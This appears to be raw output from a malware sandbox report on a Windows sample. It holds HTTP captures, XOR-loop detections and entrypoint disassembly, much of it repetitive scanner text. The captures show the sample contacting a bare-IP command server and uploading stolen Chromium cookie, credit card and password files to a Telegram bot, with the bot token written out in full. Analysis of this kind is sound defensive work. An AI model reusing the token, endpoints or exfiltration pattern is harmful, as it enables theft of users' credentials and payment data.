/v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "truePriority" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "POST" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "standard" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "accounts" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Type" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "form" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard&laf=b64bin HTTP/2Host: accounts.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedSec-Fetch-Mode: no-corsSec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9Origin: https://www.google.comPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty"27:T6c2,Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe" at offset 142188; code bytes = 30d0 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe" at offset 186626; code bytes = 30d0 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe" at offset 52143; code bytes = 33c1 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe" at offset 177181; code bytes = 8030 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe" at offset 189058; code bytes = 8030 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe.bin" at offset 142188; code bytes = 30d0 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe.bin" at offset 186626; code bytes = 30d0 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe.bin" at offset 52143; code bytes = 33c1 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe.bin" at offset 177181; code bytes = 8030 Found XOR loop in file "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe.bin" at offset 189058; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 142188; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 186626; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 52143; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 177181; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 189058; code bytes = 803028:T4f8," HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Vary: Sec-Fetch-Dest Sec-Fetch-Mode Sec-Fetch-Site X-Content-Type-Options: nosniff x-cup-server-proof: 304502207b85a26f523f18725af5c322beda3ae7289ee378ee6de193ad653c3aa2955f1b022100caba7150f4024afdbe8e014046e6bb6b1049b8e5461fd90b1ec352e4708b9f1e:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ETag: W/"304502207b85a26f523f18725af5c322beda3ae7289ee378ee6de193ad653c3aa2955f1b022100caba7150f4024afdbe8e014046e6bb6b1049b8e5461fd90b1ec352e4708b9f1e:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" Cache-Control: no-cache no-store max-age=0 must-revalidate Pragma: no-cache Expires: Mon 01 Jan 1990 00:00:00 GMT Date: Thu 16 Apr 2026 11:34:47 GMT Content-Disposition: attachment; filename="json.txt"; filename*=UTF-8''json.txt Cross-Origin-Resource-Policy: same-site Cross-Origin-Opener-Policy: same-origin Content-Encoding: gzip Transfer-Encoding: chunked Server: ESF X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN with response body ==>295D7D270A7B2263757272656E745F74696D655F6D696C6C6973223A313737363333393238373139312C227365727665725F6E6F6E6365223A352E3837333432....... "GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Date: Thu 16 Apr 2026 11:34:54 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=q38oG_04mdrJsVMU7pHbcKn336qplz1MxkqNDOcv6nk-1776339294.4295795-1.0.1.1-1h6bzARfD0iUC_GEUERihnl8EJqIrQ8BDc4oWzWWXR4PT38vYbx6Uh_s5QT0MmROQbLRoX62lTkfmsHkxh1I8waJI4PMgut6lflPH7GoLyVqa9wRgI12c2tDPeBDM7ef; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Thu 16 Apr 2026 12:04:54 GMT Server: cloudflare CF-RAY: 9ed2e22e2cdb1990-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2 Host: clients2.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors X-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi X-Goog-Update-Updater: chromiumcrx-145.0.3800.58 Sec-Fetch-Site: none Accept-Language: en-US,en;q=0.9 X-Goog-Update-Interactivity: fg Priority: u=1, i Ms-Cv: ggCfzR2U6y05dzTBIn8L97 Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: text/xml; charset=UTF-8 Date: Thu 16 Apr 2026 11:34:38 GMT Server: GSE Expires: Mon 01 Jan 1990 00:00:00 GMT X-Daynum: 7045 Content-Encoding: gzip X-Frame-Options: SAMEORIGIN Pragma: no-cache X-Daystart: 16478 Content-Security-Policy: script-src 'report-sample' 'none';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Cache-Control: no-cache no-store max-age=0 must-revalidate Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT....... "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2 Host: clients2.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Sec-Fetch-Mode: no-cors X-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi X-Goog-Update-Updater: chromiumcrx-145.0.3800.58 Sec-Fetch-Site: none Accept-Language: en-US,en;q=0.9 X-Goog-Update-Interactivity: fg Priority: u=1, i Ms-Cv: 5hzRG9rNJD6E20Yqnnyn7F Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: text/xml; charset=UTF-8 Date: Thu 16 Apr 2026 11:34:41 GMT Server: GSE Expires: Mon 01 Jan 1990 00:00:00 GMT X-Daynum: 7045 Content-Encoding: gzip X-Frame-Options: SAMEORIGIN Pragma: no-cache X-Daystart: 16481 Content-Security-Policy: script-src 'report-sample' 'none';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Cache-Control: no-cache no-store max-age=0 must-revalidate Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT....... "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2 Host: clients2.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Sec-Fetch-Mode: no-cors X-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-144.0.7559.133 Sec-Fetch-Site: none Accept-Language: en-US,en;q=0.9 X-Goog-Update-Interactivity: fg Priority: u=1, i Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: text/xml; charset=UTF-8 Date: Thu 16 Apr 2026 11:34:47 GMT Server: GSE Expires: Mon 01 Jan 1990 00:00:00 GMT X-Daynum: 7045 Content-Encoding: gzip X-Frame-Options: SAMEORIGIN Pragma: no-cache X-Daystart: 16487 Content-Security-Policy: script-src 'report-sample' 'none';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Cache-Control: no-cache no-store max-age=0 must-revalidate Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT....... "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2 Host: clientservices.googleapis.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Sec-Fetch-Mode: no-cors If-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY= Sec-Fetch-Site: none A-Im: x-bm,gzip Priority: u=4, i Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: application/x-gzip Date: Thu 16 Apr 2026 11:34:47 GMT X-Country: us Content-Security-Policy: sandbox allow-downloads allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-scripts allow-storage-access-by-user-activation allow-top-navigation allow-top-navigation-by-user-activation allow-top-navigation-to-custom-protocols Im: gzip X-Content-Type-Options: nosniff X-Xss-Protection: 0 X-Seed-Signature: MEYCIQC3iJ3ChL2PnXr2iIZ42CRbczJLf8RYdMefhzGo4Wr6HQIhAK9FWb4lx5dApBowuJrWpRybdvGqAF2Vq0I8y7c4DIel X-Frame-Options: SAMEORIGIN Cross-Origin-Opener-Policy: same-origin Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT....... "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2 Host: safebrowsingohttpgateway.googleapis.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Sec-Fetch-Mode: no-cors Sec-Fetch-Site: none X-Ohttppublickey-Fst: true Priority: u=4, i Accept-Encoding: gzip, deflate, br, zstd Sec-Fetch-Dest: empty" Response ==> HTTP/2 200 OK Content-Type: application/ohttp-keys Date: Thu 16 Apr 2026 11:34:47 GMT Server: ESF X-Xss-Protection: 0 X-Content-Type-Options: nosniff Vary: Referer X-Frame-Options: SAMEORIGIN Cache-Control: public max-age=3600 Alt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000 with response body ==>BINARY_CONTENT.......2c:T416,"3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000d73c,add rsp, 0x28,jmp 0x14000d374,int3 ,int3 ,sub rsp, 0x28,call 0x14000d514,neg rax,sbb eax, eax,neg eax,dec eax,add rsp, 0x28,ret ,int3 ,push rbx,sub rsp, 0x20,cmp qword ptr [rip + 0x196c6], -1,mov rbx, rcx,jne 0x14000d52e,call 0x14000f298,jmp 0x14000d53d,mov rdx, rbx,lea rcx, [rip + 0x196b0],call 0x14000f20c,xor edx, edx,test eax, eax,cmove rdx, rbx,mov rax, rdx,add rsp, 0x20," "3a544ee360c3c495535e7ad51c96a7a07adbc4e60cdfc6d1f45cad2087b1ffc7.bin.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000d73c,add rsp, 0x28,jmp 0x14000d374,int3 ,int3 ,sub rsp, 0x28,call 0x14000d514,neg rax,sbb eax, eax,neg eax,dec eax,add rsp, 0x28,ret ,int3 ,push rbx,sub rsp, 0x20,cmp qword ptr [rip + 0x196c6], -1,mov rbx, rcx,jne 0x14000d52e,call 0x14000f298,jmp 0x14000d53d,mov rdx, rbx,lea rcx, [rip + 0x196b0],call 0x14000f20c,xor edx, edx,test eax, eax,cmove rdx, rbx,mov rax, rdx,add rsp, 0x20,"2d:T1687,Process " "a=iz&b=DESKTOP-FVVF82A%7CHAPUBWS%7CNone%7CWindows%2010%20Pro" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:34:23 GMT X-S: 0CPIMYQFVLGQMTAY X-A: 4 Content-Type: text/plain Content-Length: 33 with response body ==>374643363635423443433035454539313039383631383938374631373342373831....... "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:34:30 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:34:40 GMT X-A: with no response body "POST /CPndoF?ia=0CPIMYQFVLGQMTAY HTTP/1.1 Accept: */* Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: 192.3.45.7:3121 Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "504F5354202F43506E646F463F69613D304350494D595146564C47514D54415920485454502F312E310A4163636570743A202A2F2A0A4163636570742D4C616E67756167653A20656E2D75730A4163636570742D456E636F64696E673A20677A69702C206465666C6174650A557365722D4167656E743A204D6F7A696C6C612F342E302028636F6D70617469626C653B204D53494520372E303B2057696E646F7773204E542031302E303B20574F5736343B2054726964656E742F372E303B202E4E4554342E30433B202E4E4554342E30453B20496E666F506174682E333B202E4E455420434C5220322E302E35303732373B202E4E455420434C5220332E302E33303732393B202E4E455420434C5220332E352E3330373239290A486F73743A203139322E332E34352E373A333132310A436F6E74656E742D4C656E6774683A20300A436F6E6E656374696F6E3A204B6565702D416C6976650A43616368652D436F6E74726F6C3A206E6F2D63616368650A" HTTP/1.1 200 OK Date: Thu 16 Apr 2026 13:34:50 GMT X-A: with no response body "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1 Content-Type: multipart/form-data; boundary="16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44" Host: api.telegram.org Content-Length: 279 Connection: Keep-Alive" with payload::==> "--16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44Content-Disposition: form-data; name=document; filename=Chromium_cookies_DESKTOP-FVVF82A_2026-04-16_11.34.46.json; filename*=utf-8''Chromium_cookies_DESKTOP-FVVF82A_2026-04-16_11.34.46.json[]--16ba15eb-ba3a-4fef-bb8e-3f99ea5a7c44--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu 16 Apr 2026 11:34:51 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1 Content-Type: multipart/form-data; boundary="cab6095a-de59-4c45-a8a8-d6ba0db24ddf" Host: api.telegram.org Content-Length: 285" with payload::==> "--cab6095a-de59-4c45-a8a8-d6ba0db24ddfContent-Disposition: form-data; name=document; filename=Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt; filename*=utf-8''Chromium_credit_cards_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt--cab6095a-de59-4c45-a8a8-d6ba0db24ddf--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu 16 Apr 2026 11:34:51 GMT Content-Type: application/json Content-Length: 56 Connection: keep-alive Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Type Date Server Connection with response body ==>7B226F6B223A66616C73652C226572726F725F636F6465223A3430302C226465736372697074696F6E223A224C6F67676564206F7574227D....... "POST /bot8472538698:AAFfTOVb3ecQ33AM89wet_hBI3MML6Ry688/sendDocument?chat_id=1644804321%0D%0A1644804321%0D%0A1644804321 HTTP/1.1 Content-Type: multipart/form-data; boundary="3d17aadf-3e9d-4760-8735-93916096ec42" Host: api.telegram.org Content-Length: 279" with payload::==> "--3d17aadf-3e9d-4760-8735-93916096ec42Content-Disposition: form-data; name=document; filename=Chromium_passwords_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt; filename*=utf-8''Chromium_passwords_DESKTOP-FVVF82A_2026-04-16_11.34.46.txt--3d17aadf-3e9d-4760-8735-93916096ec42--" HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu 16 Apr 2026 11:34:52 